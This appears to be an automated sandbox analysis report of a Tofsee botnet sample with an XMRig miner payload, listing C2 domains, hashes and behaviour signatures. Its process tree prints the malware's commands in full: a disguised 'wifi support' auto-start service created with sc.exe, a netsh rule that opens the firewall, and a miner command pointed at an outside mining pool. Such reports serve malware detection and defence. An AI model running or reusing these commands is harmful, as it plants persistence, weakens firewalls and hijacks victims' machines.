Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    13/11/2022, 00:14

General

  • Target
    file.exe
  • Size 174KB
  • Sample221113-ajbjpsaa45
  • SHA256 471663e6452ca1282187b6099ce97c9a0ed1c75453261a3f71f8853e7daef51f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1848
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mrxmutfk\
      2⤵
        PID:1648
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ryycdnxi.exe" C:\Windows\SysWOW64\mrxmutfk\
        2⤵
          PID:1532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mrxmutfk binPath= "C:\Windows\SysWOW64\mrxmutfk\ryycdnxi.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description mrxmutfk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start mrxmutfk
          2⤵
          • Launches sc.exe
          PID:876
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:336
      • C:\Windows\SysWOW64\mrxmutfk\ryycdnxi.exe
        C:\Windows\SysWOW64\mrxmutfk\ryycdnxi.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1440
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:316
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1212

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            ryycdnxi.exe

            • Path C:\Users\Admin\AppData\Local\Temp\ryycdnxi.exe
            • Size 12.4MB
            • SHA256 fd3583bdcc07337403f72fba83038103234d3961d7b773e7921390c28fc838a5
            • MD5 SHA1 SHA512 SSDEEP

            ryycdnxi.exe

            • Path C:\Windows\SysWOW64\mrxmutfk\ryycdnxi.exe
            • Size 12.4MB
            • SHA256 fd3583bdcc07337403f72fba83038103234d3961d7b773e7921390c28fc838a5
            • MD5 SHA1 SHA512 SSDEEP

            memory/316-83-0x0000000000150000-0x0000000000156000-memory.dmp

            memory/316-95-0x0000000000190000-0x0000000000197000-memory.dmp

            memory/316-107-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/316-71-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/316-92-0x00000000055E0000-0x00000000059EB000-memory.dmp

            memory/316-89-0x0000000000170000-0x0000000000175000-memory.dmp

            memory/316-69-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/316-86-0x0000000000160000-0x0000000000170000-memory.dmp

            memory/316-80-0x0000000001A20000-0x0000000001C2F000-memory.dmp

            memory/316-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1212-100-0x00000000000C0000-0x00000000001B1000-memory.dmp

            memory/1212-98-0x00000000000C0000-0x00000000001B1000-memory.dmp

            memory/1440-76-0x0000000000400000-0x0000000000587000-memory.dmp

            memory/1440-73-0x00000000009EB000-0x00000000009FC000-memory.dmp

            memory/1848-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1848-54-0x0000000076091000-0x0000000076093000-memory.dmp

            memory/1848-66-0x00000000006EB000-0x00000000006FC000-memory.dmp

            memory/1848-67-0x0000000000400000-0x0000000000587000-memory.dmp

            memory/1848-56-0x00000000006EB000-0x00000000006FC000-memory.dmp

            memory/1848-58-0x0000000000400000-0x0000000000587000-memory.dmp